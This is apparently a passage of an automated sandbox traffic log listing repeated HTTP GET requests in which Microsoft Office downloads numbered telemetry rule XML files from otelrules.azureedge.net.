Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
